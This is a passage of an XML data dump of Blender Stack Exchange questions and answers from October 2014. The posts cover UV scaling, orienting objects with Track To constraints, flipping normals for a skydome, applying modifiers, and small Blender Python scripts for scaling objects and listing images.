3.0" />
  <row Id="17711" PostTypeId="1" CreationDate="2014-10-12T08:38:59.767" Score="5" ViewCount="2759" Body="&lt;p&gt;Right now, scaling a textured object like this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xZtEz.png&quot; alt=&quot;normal.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By a factor of 3 on the X axis, results in the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TMmSI.png&quot; alt=&quot;normal_scaling.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the same scaling operation to produce these results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XQPAe.png&quot; alt=&quot;wanted_scaling.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words: I want the UV coordinates, not the texture mapping in existing UVs, to scale with the change in object scale. I tried the UVproject modifier, but has it to be applied manually. I want the UV rescaling be done in a fully automatic way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do that in blender?&lt;/p&gt;&#xA;" OwnerUserId="6355" LastEditorDisplayName="user1853" LastEditDate="2014-10-13T15:04:26.097" LastActivityDate="2021-01-30T15:42:27.243" Title="UV coordinates scale with changes in object scale?" Tags="&lt;uv&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17713" PostTypeId="1" CreationDate="2014-10-12T10:12:54.867" Score="7" ViewCount="3130" Body="&lt;p&gt;Hello fellow blenderers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to ask if there is a way to rotate multiple objects towards one point. In my case of sunflower, it is the central point of the flower head. (See the picture below). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OcQEd.jpg&quot; alt=&quot;Sonflower seeds distribution&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you observe the image below, the central seeds are rotated more towards the centre which I would like to achieve by some multiple object rotation towards one point, however I can't figure how or if it is possible at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fnjB5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was struggling to model the distribution of sunflower seeds, finally made som progress, but this attitude might be wrong in general (I ran the script from Brecht here - &lt;a href=&quot;https://blender.stackexchange.com/questions/1371/organic-yet-accurate-modeling-with-the-golden-spiral&quot;&gt;Organic yet accurate modeling with the golden spiral&lt;/a&gt; , added particles, with hair settings, with smaller particles in central part, then convert the particles to objects and deformed them to semispherical shape with latice deformer) If you can share your idea, I wouldn't mind :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx a lot&lt;/p&gt;&#xA;" OwnerUserId="7457" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-10-12T17:21:52.823" Title="How to rotate multiple objects towards one point?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17714" PostTypeId="1" CreationDate="2014-10-12T10:13:02.360" Score="0" ViewCount="889" Body="&lt;p&gt;I'm making a game using libgdx. &#xA;I have to set a sky to my game , using models or another way. &#xA;I looking how to make sky in blender .... I'm so confused. I need help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I've made a sky using a sphere, and applied a skydome image. But in libgdx it is only visible from the outside, when I go into sphere it appears black. I mean the only outside picture seems&lt;/p&gt;&#xA;" OwnerUserId="6449" LastEditorUserId="2859" LastEditDate="2014-10-12T10:37:48.820" LastActivityDate="2014-10-12T10:37:48.820" Title="How to set world sky environment for use in libgdx?" Tags="&lt;modeling&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17715" PostTypeId="2" ParentId="17714" CreationDate="2014-10-12T10:29:12.233" Score="4" Body="&lt;p&gt;You would need to flip the normals, they are pointing outward, go to &lt;em&gt;Edit Mode&lt;/em&gt; with your sphere selected. Select all A, from the mesh menu select &lt;em&gt;Normals / Flip Normals&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zAJj9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you normals should look like (display of normals can be activated by the highlighted button):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3dKxv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-12T10:29:12.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17716" PostTypeId="2" ParentId="16434" CreationDate="2014-10-12T12:23:41.190" Score="2" Body="&lt;p&gt;There is one option for cycles materials - &lt;a href=&quot;http://peter.cassetta.info/material-library/&quot; rel=&quot;nofollow&quot;&gt;Online Material Library&lt;/a&gt;. It is in the &lt;a href=&quot;https://developer.blender.org/diffusion/BAC/&quot; rel=&quot;nofollow&quot;&gt;contrib addons&lt;/a&gt; that is normally included with non-release builds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Primarily this addon provides access to a collection of materials but also has tools to import/export cycles node based materials to an xml-based text file that can easily be shared. While there was mention of adding support for BI materials there hasn't been any support added for them.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-10-12T12:23:41.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17717" PostTypeId="2" ParentId="17713" CreationDate="2014-10-12T13:05:09.247" Score="7" Body="&lt;p&gt;Perhaps DupliVerts are too inflexible for what you need, but their ability to orient objects according to the parent object's vertex normals certainly makes it easy to have duplicates point toward the center, as illustrated here:&#xA; &lt;img src=&quot;https://i.stack.imgur.com/9rORQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the above, simply parent the master cone (in center) to the spiral, then go to the spiral's Properties-&gt;Object tab, where you will find a Duplication category (in red box above). Select Verts, then check Rotation (in green box above). Then simply rotate the master cone to re-orient all the other cones however you want. Be aware that whether-or-not the master cone has its rotation applied (Ctrl-a) makes a difference; try both ways to see which suits in this instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also know that for finer detail and ability to scale seeds differently, you could do a Make Duplicates Real for all the DupliVerts, then give each a Track To constraint oriented toward an empty at the center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, the curve was created via Add Curve-&gt;Extra Objects, then converted to mesh for this use. You might need to turn Extra Objects on in User Prefs.&lt;/p&gt;&#xA;" OwnerUserId="621" LastEditorUserId="621" LastEditDate="2014-10-12T13:36:55.807" LastActivityDate="2014-10-12T13:36:55.807" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17718" PostTypeId="1" AcceptedAnswerId="17730" CreationDate="2014-10-12T13:31:58.357" Score="3" ViewCount="411" Body="&lt;p&gt;I often need to change color of a texture to create differently colored models. Usually I do it in Photoshop by selecting &quot;Colorize&quot; checkbox in Hue/Saturation and then modifying the Hue. Is there a way to achieve similar effect with Compositor in Blender? There is a Hue/Saturation node, but it does not have &quot;Colorize&quot; option. It would be great to use 32 bit EXR files directly.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2014-12-14T08:14:51.157" Title="Can I use Compositor to colorize image?" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17722" PostTypeId="1" AcceptedAnswerId="17734" CreationDate="2014-10-12T17:10:38.287" Score="4" ViewCount="4518" Body="&lt;p&gt;I have a small script to re-size an object while keeping its proportions. There's no problem while using it in the text editor - just write either x or y or z in the field &lt;code&gt;scale&lt;/code&gt;, then enter the new dimension in the field &lt;code&gt;new_dim&lt;/code&gt;, and that's all, the object is re-sized keeping its proportions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to insert it into the UI context and create a panel proposing to change the values ​​of x, y and z.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This panel would be the same as the existing dimension panel, but this one would use the script to keep the proportions of the object based on the value entered in x, y or z.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create the UI menu is not a problem but I can not generate the 3 fields - X, Y and Z - with the opportunity to enter a value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the script in question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;i = 2&#xA;ob = bpy.context.active_object&#xA;d = ob.dimensions&#xA;&#xA;x = d[0]&#xA;y = d[1]&#xA;z = d[2]&#xA;&#xA;scale = &quot;x&quot; #value chosen by the user: either x, y or z.&#xA;new_dim = 3 #value set by the user number.value set by the user.&#xA;&#xA;if( scale == &quot;x&quot;):&#xA;    indice = 0&#xA;elif( scale == &quot;y&quot;):&#xA;    indice = 1&#xA;else:&#xA;    indice = 2&#xA;&#xA;&#xA;old_dim = d[indice] &#xA;factor = new_dim / old_dim&#xA;&#xA;scale_x = ob.scale[0]&#xA;scale_y = ob.scale[1]&#xA;scale_z = ob.scale[2]&#xA;&#xA;ob.scale[0] = scale_x * factor&#xA;ob.scale[1] = scale_y * factor&#xA;ob.scale[2] = scale_z * factor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7461" LastEditorUserId="3078" LastEditDate="2014-10-12T17:39:01.470" LastActivityDate="2014-11-03T09:58:07.107" Title="How to add user input fields to the UI, to be used by a Python script" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17724" PostTypeId="2" ParentId="17713" CreationDate="2014-10-12T17:21:52.823" Score="5" Body="&lt;p&gt;Since all of your seeds are one object, first you have to separate them.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In &lt;em&gt;Edit mode&lt;/em&gt; press &lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;em&gt;By loose parts&lt;/em&gt;. &lt;/li&gt;&#xA;&lt;li&gt;In object mode, select all the flower seeds with &lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &gt; &lt;em&gt;Origin to Geometry&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Add a Empty in the center of the flower &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Empty&lt;/em&gt; (any of empty types will work).&lt;/li&gt;&#xA;&lt;li&gt;Select one of the flower seed objects. Add a &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Tracking/Track_To&quot;&gt;Track To&lt;/a&gt;&lt;/em&gt; constraint. Proprieties window &gt; Constraints &gt; &lt;em&gt;Add Object Constraint&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the Track To constraint's &lt;strong&gt;Target&lt;/strong&gt; to the empty. Set &lt;strong&gt;To&lt;/strong&gt; to be &lt;strong&gt;Z&lt;/strong&gt;, and &lt;strong&gt;Up&lt;/strong&gt; to be &lt;strong&gt;X&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select all of the flower seeds, with the seed with the constraint selected last (as the active object). Press &lt;kbd&gt;space bar&lt;/kbd&gt; and search for &lt;em&gt;Copy Constraints to Selected Objects&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-10-12T17:21:52.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17725" PostTypeId="2" ParentId="4969" CreationDate="2014-10-12T17:28:42.347" Score="1" Body="&lt;p&gt;I think that what you want to do is not to use the &lt;code&gt;Ray Length&lt;/code&gt; directly, because that can includes many different ray types, but instead multiply the &lt;code&gt;Ray Length&lt;/code&gt; with &lt;code&gt;Is Transmission Ray&lt;/code&gt;, in order to &lt;em&gt;get the length of the Transmission ray&lt;/em&gt;, instead of one which also includes the &lt;code&gt;Camera&lt;/code&gt; ray type and others.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-10-13T20:27:41.260" LastActivityDate="2014-10-13T20:27:41.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17726" PostTypeId="1" AcceptedAnswerId="17727" CreationDate="2014-10-12T18:02:42.083" Score="3" ViewCount="1952" Body="&lt;p&gt;I did some motion tracking on a clip and set the clip to be the background of the render. However I then loaded another clip to use instead, did the motion tracking, clicked 'Set as Background' and looking from the camera perspective in the 3D view I see this new clip as the background. However upon rendering, the background appears to be the old clip. How can I remove this old clip so I can see the new one instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5628" LastActivityDate="2014-10-12T18:46:33.557" Title="Change the background clip after tracking - multiple clips loaded" Tags="&lt;rendering&gt;&lt;image&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17727" PostTypeId="2" ParentId="17726" CreationDate="2014-10-12T18:46:33.557" Score="3" Body="&lt;p&gt;Whatever you have as background image on the 3D view is just for viewing and work on the scene, but never gets rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The background for rendering is set on diferent places depending on how you are rendering.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;On the node editor:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j7cyi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;If you're not using nodes:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jfT0h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-10-12T18:46:33.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17728" PostTypeId="1" AcceptedAnswerId="17729" CreationDate="2014-10-12T18:48:06.847" Score="2" ViewCount="4976" Body="&lt;p&gt;In the attached test_bag.blend file, the bag has several parts: front, back, base, etc. How does one select an individual &quot;part&quot; of the bag without selecting others?&#xA;For example, select only the front or back or interior part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, I would appreciate a link to, or in depth tutorial of, selecting/selections; -- beyond the basic tutorials on utube, et.al.&#xA;TIA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/3504807/test_bag.blend1&quot; rel=&quot;nofollow&quot;&gt;https://dl.dropboxusercontent.com/u/3504807/test_bag.blend1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="739" LastActivityDate="2014-10-12T20:33:47.673" Title="Selecting - how to differentiate &quot;elements&quot;?" Tags="&lt;selection-tools&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17729" PostTypeId="2" ParentId="17728" CreationDate="2014-10-12T19:03:04.630" Score="7" Body="&lt;p&gt;There are two ways in &lt;em&gt;edit mode&lt;/em&gt; (&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;L&lt;/kbd&gt; while hovering the mouse over the part of the bag you want to select. This will select all the geometry which is connected to the part under your cursor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select some geometry (e.g. with &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;), then press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;. This will select all the geometry which is connected to the existing selection.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to separate the parts into separate &lt;em&gt;objects&lt;/em&gt;, then press &lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&gt; Loose parts&lt;/em&gt; in edit mode. This will separate disconnected parts of the object into their own objects.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-12T19:03:04.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17730" PostTypeId="2" ParentId="17718" CreationDate="2014-10-12T19:18:31.800" Score="6" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using a mix node with the blend mode set to &lt;em&gt;Color&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y51Vd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-12T19:18:31.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17731" PostTypeId="2" ParentId="17728" CreationDate="2014-10-12T20:33:47.673" Score="1" Body="&lt;p&gt;You should first remove any duplicated vertices &lt;em&gt;Edit Mode / Tools-Tab - Remove Doubles&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selecting all &lt;kbd&gt;A&lt;/kbd&gt; and separating &lt;kbd&gt;P&lt;/kbd&gt; &lt;em&gt;Loose parts&lt;/em&gt; would lead to something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xqlht.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to select front and back switch to front view orthographic view &lt;kbd&gt;Numpad-1&lt;/kbd&gt;, &lt;kbd&gt;Numpad-5&lt;/kbd&gt; and use Box select &lt;kbd&gt;B&lt;/kbd&gt;, make sure that limit selection to visible is enabled (highlighted icon in the last image)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assign the selection to vertex group, this enables you to select them later e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X2D93.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;repeat that for all groups you need in the appropriate view (the bottom is easier selected by the 'select linked' method gandalf3 has already described).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7UiWE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-12T20:33:47.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17732" PostTypeId="1" AcceptedAnswerId="17735" CreationDate="2014-10-12T21:24:12.210" Score="4" ViewCount="2377" Body="&lt;p&gt;I am looking for a way to get a list of all the images loaded into Blender at that point. I want to use it as a check something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file = &quot;name&quot;&#xA;if file not in list.of.images:&#xA;   image = bpy.data.images.load(filepath)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;know of any ways to do this, searched and searched and haven't been able to find anything.&lt;/p&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="5705" LastEditDate="2015-12-14T18:23:08.560" LastActivityDate="2015-12-14T18:23:08.560" Title="How to get list of all images in a scene with python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17733" PostTypeId="1" AcceptedAnswerId="17737" CreationDate="2014-10-12T21:30:11.763" Score="11" ViewCount="20468" Body="&lt;p&gt;I am attempting to follow a &lt;a href=&quot;https://www.youtube.com/watch?v=ttU6Gz1W0Xw&quot; rel=&quot;noreferrer&quot;&gt;youtube tutorial&lt;/a&gt; for decimating a model - I need to do this for a continuous LOD in a game I am creating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in the tutorial, he uses some &quot;Apply modifiers&quot; button, which I can't find anywhere!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I start up blender with the default box, I see it, but when I open a .blend, or import a model, the button disappears!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8ZaYO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="7464" LastEditorUserId="2217" LastEditDate="2014-10-12T22:04:21.357" LastActivityDate="2021-04-13T00:51:04.443" Title="&quot;Apply modifiers&quot; button not appearing?" Tags="&lt;interface&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17734" PostTypeId="2" ParentId="17722" CreationDate="2014-10-12T21:47:16.550" Score="5" Body="&lt;p&gt;You would need to create an operator to supply your script with parameter values.&#xA;This following script derived from the &lt;code&gt;operator_mesh_add.py&lt;/code&gt; template (accessible from the template menu in the text editor):&#xA;Your code was simply copied into the scale function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It creates an enum property to select the axis and a scale factor which can be entered from the UI in the last operator panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AzAYq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look through the other templates for examples on how to add your operator to a menu, the object properties or whatever you like.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import FloatProperty, EnumProperty&#xA;&#xA;&#xA;class ScaleAxis(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Scale axis &quot;&quot;&quot;&#xA;    bl_idname = &quot;mesh.primitive_scale&quot;&#xA;    bl_label = &quot;Scale axis&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    axis  = EnumProperty(&#xA;            name=&quot;Axis&quot;,&#xA;            description=&quot;Axis selection&quot;,&#xA;            items= [('x', &quot;X&quot;, &quot;&quot;),('y', &quot;Y&quot;, &quot;&quot;),('z', &quot;Z&quot;,&quot;&quot;)],&#xA;            default='x'&#xA;            )&#xA;&#xA;    newdim = FloatProperty(&#xA;            name=&quot;Width&quot;,&#xA;            description=&quot;Scale&quot;,&#xA;            min=0.01, max=100.0,&#xA;            default=1.0,&#xA;            )&#xA;    # your code&#xA;    def scale(self, axis, new_dim):&#xA;        ob = bpy.context.active_object&#xA;        d = ob.dimensions&#xA;&#xA;        x = d[0]&#xA;        y = d[1]&#xA;        z = d[2]&#xA;&#xA;        scale =  axis&#xA;&#xA;        if( scale == &quot;x&quot;):&#xA;            indice = 0&#xA;        elif( scale == &quot;y&quot;):&#xA;            indice = 1&#xA;        else:&#xA;            indice = 2&#xA;&#xA;        old_dim = d[indice] &#xA;        factor = new_dim / old_dim&#xA;&#xA;        scale_x = ob.scale[0]&#xA;        scale_y = ob.scale[1]&#xA;        scale_z = ob.scale[2]&#xA;&#xA;        ob.scale[0] = scale_x * factor&#xA;        ob.scale[1] = scale_y * factor&#xA;        ob.scale[2] = scale_z * factor&#xA;&#xA;    def execute(self, context):&#xA;        self.scale(self.axis,self.newdim)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def menu_func(self, context):&#xA;    self.layout.operator(ScaleAxis.bl_idname, icon='MESH_CUBE')&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ScaleAxis)&#xA;    bpy.types.INFO_MT_mesh_add.append(menu_func)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ScaleAxis)&#xA;    bpy.types.INFO_MT_mesh_add.remove(menu_func)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A nice &lt;a href=&quot;http://michelanders.blogspot.de/p/creating-blender-26-python-add-on.html&quot; rel=&quot;noreferrer&quot;&gt;tutorial&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-12T21:47:16.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17735" PostTypeId="2" ParentId="17732" CreationDate="2014-10-12T21:56:19.103" Score="6" Body="&lt;p&gt;If you just want to iterate over the images:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for img in bpy.data.images:&#xA;    print(&quot;name=%s, filepath=%s&quot; % (img.name, img.filepath))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note this could contain 'render result' and materials which you might want to filter.&#xA;See the docs to see what attributes could be interesting like 'file_format', 'filepath', 'filepath_from_user', 'filepath_raw'...&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-12T21:56:19.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17736" PostTypeId="2" ParentId="17733" CreationDate="2014-10-12T22:01:17.043" Score="2" Body="&lt;p&gt;Make sure the object you want to edit is &lt;a href=&quot;https://docs.blender.org/manual/en/latest/scene_layout/object/selecting.html#selections-and-the-active-object&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;active&lt;/em&gt;&lt;/a&gt; (yellow outline). Usually the active object is always the last selected object, however sometimes you can end up without an active object after doing things such as importing.&lt;/p&gt;&#xA;&lt;p&gt;To make an object the active object, click on it with &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot; /&gt; RMB&lt;/kbd&gt; (use &lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot; /&gt; RMB&lt;/kbd&gt; if you want to preserve the existing selection).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="106306" LastEditDate="2021-02-13T18:56:45.863" LastActivityDate="2021-02-13T18:56:45.863" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17737" PostTypeId="2" ParentId="17733" CreationDate="2014-10-12T22:02:50.570" Score="9" Body="&lt;p&gt;The apply modifier button will be on the modifier.&lt;/p&gt;&#xA;&lt;h3&gt;Blender 2.9x&lt;/h3&gt;&#xA;&lt;p&gt;In Blender 2.9x click on the top triangle to apply the modifier, or use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lQQqx.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lQQqx.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://blender.stackexchange.com/q/193185/31447&quot;&gt;How to apply a modifier in V2.9+&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Blender 2.7x&lt;/h3&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wq5J6.png&quot; alt=&quot;apply modifier button&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You have to be in object mode to apply modifiers. Applying the  modifier does not work on multiple selections, only the active object gets applied.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="31447" LastEditDate="2020-11-11T08:42:55.707" LastActivityDate="2020-11-11T08:42:55.707" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17738" PostTypeId="1" AcceptedAnswerId="17743" CreationDate="2014-10-12T23:11:42.893" Score="3" ViewCount="2295" Body="&lt;p&gt;I am creating a siding generator and I want it to add image textures to the model and uv unwrap them, but I am having one pain of a time getting around the bpy.ops.uv.smart_project.poll() context. I have tried overriding the context and setting it and a bunch of other things, no luck though. Any help is much appreciated&lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2014-10-13T01:50:13.087" Title="How to uv unwrap object with python" Tags="&lt;scripting&gt;&lt;uv&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
